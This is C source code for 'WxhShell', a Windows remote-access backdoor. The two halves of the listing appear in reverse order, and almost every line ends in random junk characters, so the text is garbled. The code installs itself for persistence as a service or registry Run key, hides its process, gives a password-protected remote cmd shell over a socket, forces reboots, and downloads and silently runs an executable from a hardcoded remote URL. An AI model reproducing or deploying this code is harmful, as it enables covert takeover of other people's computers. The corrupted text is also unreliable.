    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !h(0b*FUJ  
    if(Boot(SHUTDOWN)) UimZ/\r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lq9h Dn[p  
    else { }H^^v[4  
    closesocket(wsh); ^K[tO54  
    ExitThread(0); q)i(wEdUZ  
    } y9 ' 3vZ  
    break; +~]g&Mf6o  
    } /kVc7 LC  
  // 获取shell w' >v@`y  
  case 's': { 'J2P3t  
    CmdShell(wsh); 3goJ(XI  
    closesocket(wsh); _j tS-CnO  
    ExitThread(0); aJ@qB9(ZBe  
    break; H;L&G|[  
  } }=4".V`-o  
  // 退出 \{mJO>x  
  case 'x': { &<b7T$c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =D$r5D/xd  
    CloseIt(wsh); ->{WO+6(  
    break; tC~itU=V  
    } 0R%58,R  
  // 离开 x"T^>Q  
  case 'q': { ?OdA`!wE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \Nyxi7  
    closesocket(wsh); l'f!za0  
    WSACleanup(); !+l, m8Hly  
    exit(1); TC}u[kM  
    break; xq*yZ5:5Jo  
        } WR1,J0UU6  
  } QX|K(`of  
  } }'- )  
-*r';Mz;  
  // 提示信息 E/ )+hK&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5E|2 S_)G  
} Z:Am\7 I  
  } KgS xF#  
!!>G{  
  return; bm?TMhC  
} 1nmWL0  
c:TP7"vG  
// shell模块句柄 !IU*Ayg  
int CmdShell(SOCKET sock) DR=1';63  
{ @ U|u _S@  
STARTUPINFO si; PS1~6f"D  
ZeroMemory(&si,sizeof(si)); Yw `VL)v(y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $sJfxh r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gC-0je  
PROCESS_INFORMATION ProcessInfo; xn[di-L F  
char cmdline[]="cmd"; Xs_y!l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &[pw LYf7  
  return 0; \[jItg,+  
} v$Z1Lh  
cxdM!L; `  
// 自身启动模式 H_]kR&F8  
int StartFromService(void) | w -W=v  
{ H0 t1& :  
typedef struct M?lr#} d  
{ B\yid@e  
  DWORD ExitStatus; Yd'ke,Je  
  DWORD PebBaseAddress; [8#l~ |U  
  DWORD AffinityMask; Qg=~n:j  
  DWORD BasePriority; h08T Q=n  
  ULONG UniqueProcessId; IuD<lMeJ J  
  ULONG InheritedFromUniqueProcessId; 3.Kdz}  
}   PROCESS_BASIC_INFORMATION; Z0KA4O$eL  
k9]n/  
PROCNTQSIP NtQueryInformationProcess; !}?]&[N=  
;GSj }Nq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eNb =`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -`&;3 7  
i YkNtqn/  
  HANDLE             hProcess; dZ Z/(oE>  
  PROCESS_BASIC_INFORMATION pbi; g-36Q~`9v  
)-gyDA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V-0Y~T  
  if(NULL == hInst ) return 0; g= 8e.Y*Fr  
?Fu.,srt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5N0H^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g> f394j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $-73}[UA 4  
;p8xL)mUP  
  if (!NtQueryInformationProcess) return 0; .rHO7c,P~  
x`&W[AA4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }$jIvb,3?  
  if(!hProcess) return 0; `^ok5w"oi  
Vv]mME@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wW~2]*n  
PoZBiw@  
  CloseHandle(hProcess); fsoS!6h0k  
F44")fY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #q%/~-Uk  
if(hProcess==NULL) return 0; zF7T5 Ge  
G].Z| Z9  
HMODULE hMod; 1|--Xnv  
char procName[255]; sKtH4d5)  
unsigned long cbNeeded; >b0}X)Z+U  
NG ~sE&,7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *RhdoD|a  
.E(Ucnz/  
  CloseHandle(hProcess); -[z;y73]t  
fy5)Tih%.*  
if(strstr(procName,"services")) return 1; // 以服务启动 4[D@[k As  
zQ~nS  
  return 0; // 注册表启动 TQE_zOa:  
} S3w? X  
$l=m?r=  
// 主模块 CAfG3;  
int StartWxhshell(LPSTR lpCmdLine) :v`o="  
{ gueCP+a_  
  SOCKET wsl; L-yC'C  
BOOL val=TRUE; E@p9vf->  
  int port=0; y$rp1||lH  
  struct sockaddr_in door; ZC"p^~U_e[  
c)?y3LX  
  if(wscfg.ws_autoins) Install(); 7o3f5"z  
JXrMtSp\  
port=atoi(lpCmdLine); Nsb13mlY  
J c*A\-qC.  
if(port<=0) port=wscfg.ws_port; LvS`   
t$b`Am  
  WSADATA data; S:wmm}XQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wXe.zLQ  
8l6R.l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1QThAFN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); = >9`qcNW_  
  door.sin_family = AF_INET; :v#3;('7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _:J! |'  
  door.sin_port = htons(port); q4{ 6@q  
yd $y\pN=<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K\#+;\V  
closesocket(wsl); /1YqDK0  
return 1; W>.qGK|l  
} UWz<~Vy  
F{v+z8nW  
  if(listen(wsl,2) == INVALID_SOCKET) { NeYj[Q~xy  
closesocket(wsl); 8WMC ~  
return 1; #~"jo[  
} iVE+c"c!2&  
  Wxhshell(wsl); kAMt8  
  WSACleanup(); %j yLRT]H  
R b'"09)$  
return 0; b@Fa| >"_  
FKPI{l  
} &W1c#]q@r  
P6 9S[aqW  
// 以NT服务方式启动 7+fFKZFKF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i9Qx{f88  
{ W1 E(( 2  
DWORD   status = 0; AyddkjX  
  DWORD   specificError = 0xfffffff; :%R3( &  
I/c* ?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yA~W|q(/V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N7XRk= J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y:O%xtGi  
  serviceStatus.dwWin32ExitCode     = 0; {=TD^>?  
  serviceStatus.dwServiceSpecificExitCode = 0; "~tEmMz  
  serviceStatus.dwCheckPoint       = 0; b1-JnEc  
  serviceStatus.dwWaitHint       = 0; =KkHck33  
a4?:suX$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P:=3;d{v  
  if (hServiceStatusHandle==0) return; ,{$:Q}`  
7P=j2;7 v  
status = GetLastError(); qvCl mZ  
  if (status!=NO_ERROR) s {!F@^a  
{ RDZl@ps8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; koFY7;_<?  
    serviceStatus.dwCheckPoint       = 0; k@^)>J^  
    serviceStatus.dwWaitHint       = 0; R4{2+q=0  
    serviceStatus.dwWin32ExitCode     = status; )]'?yS"  
    serviceStatus.dwServiceSpecificExitCode = specificError; E1=]m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lf3:' n  
    return; cJ&%XN  
  } o@ }Jd0D4  
.hU ndg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2s~ X  
  serviceStatus.dwCheckPoint       = 0; ? r^+-  
  serviceStatus.dwWaitHint       = 0; 0e&Vvl4DK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |dXmg13( -  
} S~hNSw (-  
-[Q%Vv!8  
// 处理NT服务事件,比如:启动、停止 &q>=6sQvf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \59+JLmP4  
{ uk16  
switch(fdwControl) W,:*`  
{ |d K_^~;o  
case SERVICE_CONTROL_STOP: '6WaG hvO  
  serviceStatus.dwWin32ExitCode = 0; lCDXFy(E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u9J;OsnHK  
  serviceStatus.dwCheckPoint   = 0; sa{X.}i%E  
  serviceStatus.dwWaitHint     = 0; w[t!?(![>  
  { ):1NeJOFF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K_(o D O  
  } sJ,:[  
  return; .xS}/^8iD  
case SERVICE_CONTROL_PAUSE: wUab)L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;kY'DKL(  
  break; !>+YEZ"  
case SERVICE_CONTROL_CONTINUE: b k 30d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z3)1!|#Q  
  break; Zj%l (OVq  
case SERVICE_CONTROL_INTERROGATE: ,*Jm\u  
  break; 1 %K^(J;  
}; j"hfsA<_I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !q mnMY$  
} t0(1qFi  
"*a^_tsT?i  
// 标准应用程序主函数 /2 ')u|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gq!| 0  
{ 4gzrxV  
j'g':U  
// 获取操作系统版本 > -OQk"o  
OsIsNt=GetOsVer(); #}3$n/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ND77(I$3s  
se2ay_<F+  
  // 从命令行安装 X2v|O3>/N  
  if(strpbrk(lpCmdLine,"iI")) Install(); @#xh)"}  
blEs!/A`  
  // 下载执行文件 {dTtYL$'"  
if(wscfg.ws_downexe) { *%bQp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A70x+mjy^T  
  WinExec(wscfg.ws_filenam,SW_HIDE); =y.?=`"  
} |p}qK Fdi  
/z9oPIJ=*  
if(!OsIsNt) { h.(CAm%Y7  
// 如果时win9x,隐藏进程并且设置为注册表启动 # **vIwX-Q  
HideProc(); 2Ck'A0d  
StartWxhshell(lpCmdLine); bd_&=VLTC  
} 0j@gC0xu)|  
else -AWL :<  
  if(StartFromService()) i{vM NI{  
  // 以服务方式启动 .-Yhpw>f  
  StartServiceCtrlDispatcher(DispatchTable); v47Y7s:uQ  
else B_$hi=?TTd  
  // 普通方式启动 &z8I@^<  
  StartWxhshell(lpCmdLine); UsP1bh4  
 E|P  
return 0; !lpKZG  
} 5srj|'ja  
 #-r,;  
ckG`^<  
9)}Nx>K  
=========================================== vau0Jn%=ck  
z)*7LI  
{a;my"ly  
JI##l:,7r  
R-5EztmLae  
XpFW(v  
" {]ie|>'=C  
J=Q?_$xb}  
#include <stdio.h> u2}zRC=  
#include <string.h> &]~Vft l  
#include <windows.h> H=,0p  
#include <winsock2.h> w_4/::K*  
#include <winsvc.h> g:V8"'  
#include <urlmon.h> jzt$  
aAJ'0xnj  
#pragma comment (lib, "Ws2_32.lib") JO{Rth  
#pragma comment (lib, "urlmon.lib") WCJ$S\#  
4'9yMXR  
#define MAX_USER   100 // 最大客户端连接数 K)=<hL  
#define BUF_SOCK   200 // sock buffer M*6}#ST  
#define KEY_BUFF   255 // 输入 buffer VjsQy>5m  
U (*k:Fw  
#define REBOOT     0   // 重启 kB:6e7D|[  
#define SHUTDOWN   1   // 关机 2?J[D7  
T-S6`^_L  
#define DEF_PORT   5000 // 监听端口 anxZ|DE  
D_VAtz  
#define REG_LEN     16   // 注册表键长度 Twl>Pn>  
#define SVC_LEN     80   // NT服务名长度 !A@Ft}FB  
0@cc XF E  
// 从dll定义API " b?1Yc-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ` 9iB`<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gK7bP'S8H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  # ub!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u6tD5Y  
;]/>n:[ E  
// wxhshell配置信息 A|Z'\D0  
struct WSCFG { o$ disJ  
  int ws_port;         // 监听端口 CI%4!K;{  
  char ws_passstr[REG_LEN]; // 口令 TX/Ng+v S  
  int ws_autoins;       // 安装标记, 1=yes 0=no n_ORD@$]  
  char ws_regname[REG_LEN]; // 注册表键名 p{c+ +P5  
  char ws_svcname[REG_LEN]; // 服务名 +eT1/x0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V) Oj6nD]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OZ,%T9vP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !LDuCz -  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tw{V7r~n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WJ D1U?`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \r4QS  
{tqLH2cO  
}; * }\}@0%  
=gG_ %]``R  
// default Wxhshell configuration ;G 27S<Q  
struct WSCFG wscfg={DEF_PORT, 3JnBKh\n  
    "xuhuanlingzhe", Dj0`#~  
    1, %#g9d  
    "Wxhshell", 9#C hn~ \  
    "Wxhshell", e(t,~(  
            "WxhShell Service", ~ 8hAmM  
    "Wrsky Windows CmdShell Service", o'uv5asdb  
    "Please Input Your Password: ", -^a?]`3_v  
  1, 60*;a*cy  
  "http://www.wrsky.com/wxhshell.exe", #A&(b}#:o  
  "Wxhshell.exe" 02|f@bP.  
    }; Gn+3OI"  
$mS] K!\  
// 消息定义模块 39j "z8 n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |gl~wG1@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !+Ia#(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \:`'!X1*U  
char *msg_ws_ext="\n\rExit."; r&qF v)0!`  
char *msg_ws_end="\n\rQuit."; OanHG  
char *msg_ws_boot="\n\rReboot..."; r@j$$Pk`  
char *msg_ws_poff="\n\rShutdown..."; "w0[l"3 V  
char *msg_ws_down="\n\rSave to "; DH@})TN*O  
RfM uWo:  
char *msg_ws_err="\n\rErr!"; 8V]oR3'  
char *msg_ws_ok="\n\rOK!"; ?$:;hGO.<~  
7F=Xn@ _  
char ExeFile[MAX_PATH]; EKwA1,Xz  
int nUser = 0; x^s2bb  
HANDLE handles[MAX_USER]; X}!r4<;(  
int OsIsNt; !sbKJ+V7  
4d\"gk  
SERVICE_STATUS       serviceStatus; >=<qAkk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '%k<? *  
,VtrQb)Yf  
// 函数声明 ~Z ,bd$  
int Install(void); jSY&P/[ xb  
int Uninstall(void); ~}B6E)   
int DownloadFile(char *sURL, SOCKET wsh); ^4D7sS;~3  
int Boot(int flag); .'+*>y!  
void HideProc(void); @I`X{oAA  
int GetOsVer(void); +@ '( N  
int Wxhshell(SOCKET wsl); KZK9|121  
void TalkWithClient(void *cs); )T4%}$(  
int CmdShell(SOCKET sock); H[K(Tt4<&  
int StartFromService(void); hX?rIx  
int StartWxhshell(LPSTR lpCmdLine); JjH#,@'.  
{u/G!{N$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z @:5vo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u!iBAr5  
J|ni'Hb  
// 数据结构和表定义 ubq4Zv7'   
SERVICE_TABLE_ENTRY DispatchTable[] = (6Ssk4  
{ *Ey5F/N}$H  
{wscfg.ws_svcname, NTServiceMain}, ,(%?j]_P2  
{NULL, NULL} <4caG2~q  
}; m~upTQz  
8|\0\Wd;vu  
// 自我安装 |sa{!tKJ  
int Install(void) N S^(5g  
{ caK<;bmu-  
  char svExeFile[MAX_PATH]; @O~  
  HKEY key; ;H%&Jht  
  strcpy(svExeFile,ExeFile); m -{t%[Y  
s`:>"1\|  
// 如果是win9x系统,修改注册表设为自启动 j\,HquTR  
if(!OsIsNt) { 37 #|X*L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ah82S)a`}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =N _7DT  
  RegCloseKey(key); P|rsq|',  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Afpj*o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y Mes314"  
  RegCloseKey(key); +3@d]JfMh  
  return 0; I=N;F6  
    } ,&wTUS\  
  } D][e uB  
} uxbDRlOS  
else { aD2+9?m  
Jd].e=]pN  
// 如果是NT以上系统,安装为系统服务 {I/|7b>@r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rZ.,\ X_  
if (schSCManager!=0) pt"yJtM'P  
{ qb rf;`  
  SC_HANDLE schService = CreateService mp^;8??;  
  ( @uIY+_E40g  
  schSCManager, A578g  
  wscfg.ws_svcname, 1l@gZI12#/  
  wscfg.ws_svcdisp, --ED]S 8  
  SERVICE_ALL_ACCESS, 5&&6e`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $O n  
  SERVICE_AUTO_START, 5<%]6cx}  
  SERVICE_ERROR_NORMAL, -jBk  
  svExeFile, V}leEf2'  
  NULL, KNR_upO8  
  NULL, XM0;cF  
  NULL, n?@3+wG  
  NULL, UfE41el:  
  NULL f zu#!  
  ); ?q}XD c  
  if (schService!=0) 9u3~s <  
  { .JR"|;M}  
  CloseServiceHandle(schService); P'4oI0Bw  
  CloseServiceHandle(schSCManager); jU4*fzsZI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o6@Hj+,,  
  strcat(svExeFile,wscfg.ws_svcname); s_(%1/{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uYh6q1@"~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gk%8iT  
  RegCloseKey(key); ##%R|P3  
  return 0; R]oi&"H@r)  
    } "82<}D^;  
  } MX3ss,F  
  CloseServiceHandle(schSCManager); h6!o,qw"  
} /eM_:H5  
} p1dqDgF*  
,n')3r   
return 1; FZ!KZ!p  
} i.4L;(cg  
{{FA "NW  
// 自我卸载 -:O~J#D  
int Uninstall(void) VrV* -J'  
{ YNGG> ;L  
  HKEY key; Ov vM)?^#  
>s@6rNgf  
if(!OsIsNt) { J6*Zy[)%&S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HvITw%`  
  RegDeleteValue(key,wscfg.ws_regname); }m?1IU %q  
  RegCloseKey(key); bLx70$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GN36:>VWb  
  RegDeleteValue(key,wscfg.ws_regname); OG# 7Va  
  RegCloseKey(key); [zO    
  return 0; 3@k;"pFa<  
  } *fBI),bZa  
} 7e,EI9?.  
} R~-r8dWcw  
else { "HWl7c3q  
e`1,jt'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %cM2;a=2  
if (schSCManager!=0) !ul)e;a  
{ |51z&dG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )^&,[Q=i  
  if (schService!=0) Zi+>#kDV  
  { ~I0I#_$'P  
  if(DeleteService(schService)!=0) {  b;!oPT  
  CloseServiceHandle(schService); st;.Po[h  
  CloseServiceHandle(schSCManager); dXKv"*7l  
  return 0; Dh*>361y-  
  } y{Wtm7fnA  
  CloseServiceHandle(schService); #S[:Q.0 ;  
  } G0sg\]  
  CloseServiceHandle(schSCManager); *+p9u 1B5  
} ;SBM7fwRk  
} @Q"%a`mKH  
^s@?\v  
return 1; ~lx5RTkp  
} wW4/]soM  
S.o@95M   
// 从指定url下载文件 z3IQPl^  
int DownloadFile(char *sURL, SOCKET wsh) H6<\7W89y  
{ }r&^*" 2=  
  HRESULT hr; PI7M3\z  
char seps[]= "/"; H'uRgBjWJ  
char *token; r4}:t$  
char *file; ;{]%ceetcu  
char myURL[MAX_PATH]; ^>?gFvWB%  
char myFILE[MAX_PATH]; 5 ^}zysY`  
Im{I23.2  
strcpy(myURL,sURL); _oxc~v\<  
  token=strtok(myURL,seps); <Bc J;X/  
  while(token!=NULL) +p =n-  
  { w'q}aQS  
    file=token; @DT${,.49  
  token=strtok(NULL,seps); 89F^I"Im(  
  } UzVnC:  
P,Fs7  
GetCurrentDirectory(MAX_PATH,myFILE); \NbMSC&H  
strcat(myFILE, "\\"); 6Lw34R  
strcat(myFILE, file); S#{e@ C  
  send(wsh,myFILE,strlen(myFILE),0); ZHxdrX)  
send(wsh,"...",3,0); \WD}@6) ~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3n']\V  
  if(hr==S_OK) |F36^  
return 0; q#Y%Y  
else 4#mRLs'  
return 1; Lwgk}!KR  
sygAEL;.  
} YPAMf&jEF  
H"4^  
// 系统电源模块 %WrUu|xj>_  
int Boot(int flag) be`\ O  
{ ,R=Mr}@u  
  HANDLE hToken; h?2qX  
  TOKEN_PRIVILEGES tkp; ^{8r(1,  
?6B n&qa  
  if(OsIsNt) { ' }rUbJo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8D eRs#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e:IUO1#  
    tkp.PrivilegeCount = 1; =!_e(J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6\(wU?m'/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %s~MfK.k  
if(flag==REBOOT) { MyZ@I7Fb,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZbJzf]y:6  
  return 0; XGZ1a/x;s  
} ,u|vpN  
else { U/E M(y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sHO6y0P  
  return 0; Le"$ksu>  
} EBS04]5ul  
  } EzK,SN#  
  else { e!*d(lHKos  
if(flag==REBOOT) { fU_itb(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [QA@XBy6  
  return 0; 2.O;  
} i'|rx2]e  
else { Ji  SJi?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g W'aK>*c  
  return 0; 9J_lxy}  
} ;X6FhQ;{*0  
} I,D24W4l  
-~eNC^t;W  
return 1; %'Ebm  
} BY"<90kBL  
 :0ZFbIy  
// win9x进程隐藏模块 uArs[e|f  
void HideProc(void) |4BS\fx~N  
{ siw } }}  
> Zo_-,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [*w^|b ?  
  if ( hKernel != NULL ) _*B]yz6z  
  { 17[7)M88  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TFWV(<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XRVE8v+  
    FreeLibrary(hKernel); n= yT%V. l  
  } xuQ$67F`;z  
qsXK4`  
return; jdV  E/5  
} WlU^+ctS  
 q%,q"WU  
// 获取操作系统版本 v-2O{^n  
int GetOsVer(void) ,g%2-#L%  
{ wI\v5&X-B  
  OSVERSIONINFO winfo; 8C4DOz|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E$m3Gg)s>N  
  GetVersionEx(&winfo); FQ>KbZh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jx a?  
  return 1; 'E+Ty(ED5  
  else j?4k{?x  
  return 0; W!4(EdT*Cq  
} E[HXbj"  
TTpK8cC  
// 客户端句柄模块 #4_'%~-e  
int Wxhshell(SOCKET wsl) T(K~be  
{ =ZjF5,@  
  SOCKET wsh; ^Fgmwa'  
  struct sockaddr_in client; %qL0=ad  
  DWORD myID; .]g>.  
qQ[&FjTO`  
  while(nUser<MAX_USER) (1gfb*L  
{ O]RP?'vO  
  int nSize=sizeof(client); vttmSdY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y!* \=h6h  
  if(wsh==INVALID_SOCKET) return 1; B!H4 6w~  
54s+4R FL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sG*1?  
if(handles[nUser]==0) 6j@3C`Yd  
  closesocket(wsh); "P`V|g  
else F)g.CDQ!c  
  nUser++; 4- z3+e  
  } `|e?91@vEa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wMNtN3   
6"C$]kF?  
  return 0; f.cIhZF  
} 4Mi~eL%D (  
OoTMvZP[  
// 关闭 socket vBAds  
void CloseIt(SOCKET wsh) 7H~StdL/>  
{ 2V7x  
closesocket(wsh); `=^;q 6f  
nUser--; 8?!=/Sc  
ExitThread(0); T :IKyb  
} -Wc'k 2oU  
AGkk|`  
// 客户端请求句柄 {-D2K:m  
void TalkWithClient(void *cs) #jn6DL@[{  
{ Lw<?e;  
w?]k$  
  SOCKET wsh=(SOCKET)cs; 4.2qt  
  char pwd[SVC_LEN]; <<!XWV*m  
  char cmd[KEY_BUFF]; pJ-/"Q|:i  
char chr[1]; z(L\I  
int i,j; [3h~y7  
}6b=2Z}  
  while (nUser < MAX_USER) { J(F]?H  
?3jOE4~aHr  
if(wscfg.ws_passstr) { <X~ X#9V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S@;>lw,s!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #aUe7~  
  //ZeroMemory(pwd,KEY_BUFF); 6[>UF!.=  
      i=0; H^sPC{6+pf  
  while(i<SVC_LEN) { E8#RG-ci  
+[@Ug`5M  
  // 设置超时 X'4e)E3*O  
  fd_set FdRead; ,":_=Tf.  
  struct timeval TimeOut; $ KQ7S>T  
  FD_ZERO(&FdRead); 'p,QI>  
  FD_SET(wsh,&FdRead); 'aMT^w4if)  
  TimeOut.tv_sec=8; I@~hz%'  
  TimeOut.tv_usec=0; W#!![JDc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -I4-K%%B`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LyRto  
?LAKH$t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7bOL,S  
  pwd=chr[0]; ;hU56lfZ)X  
  if(chr[0]==0xd || chr[0]==0xa) { 9v&{; %U  
  pwd=0; ?<VahDBS+A  
  break; f@Mm{3&.  
  } V4'G%!NY  
  i++; VOH.EK?5  
    } l&cYN2T b  
f@lRa>Z(Fm  
  // 如果是非法用户,关闭 socket u!`oKe;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %cJ]Ds%V  
} e.9oB<Etp  
m@  b~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EdxTaR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lSU&Yqx  
~t\Hb8o  
while(1) { BoJ@bOe#  
3{B`[$  
  ZeroMemory(cmd,KEY_BUFF); ]Ija,C!#  
r#LoBfM;^A  
      // 自动支持客户端 telnet标准   . fq[>zG'&  
  j=0; fOtin[|}6@  
  while(j<KEY_BUFF) { #"% ]1={b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \Ku6 gEy  
  cmd[j]=chr[0]; wQiRj.  
  if(chr[0]==0xa || chr[0]==0xd) { Z[:fqvXQ  
  cmd[j]=0; s8iJl+Jm  
  break; M?pu7wa  
  } j&)"a,f  
  j++; NFTEp0eP  
    } :9!? ${4R  
]p>6r*/nw  
  // 下载文件 Z|+SC \Y  
  if(strstr(cmd,"http://")) { xq1 =O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u1 d{|fF  
  if(DownloadFile(cmd,wsh)) J2H/z5YRJ4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )P>Cxzs  
  else I4 dS,h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bJ8G5QU  
  } 44_7gOZ  
  else { RkP g&R;i  
v WKUV|  
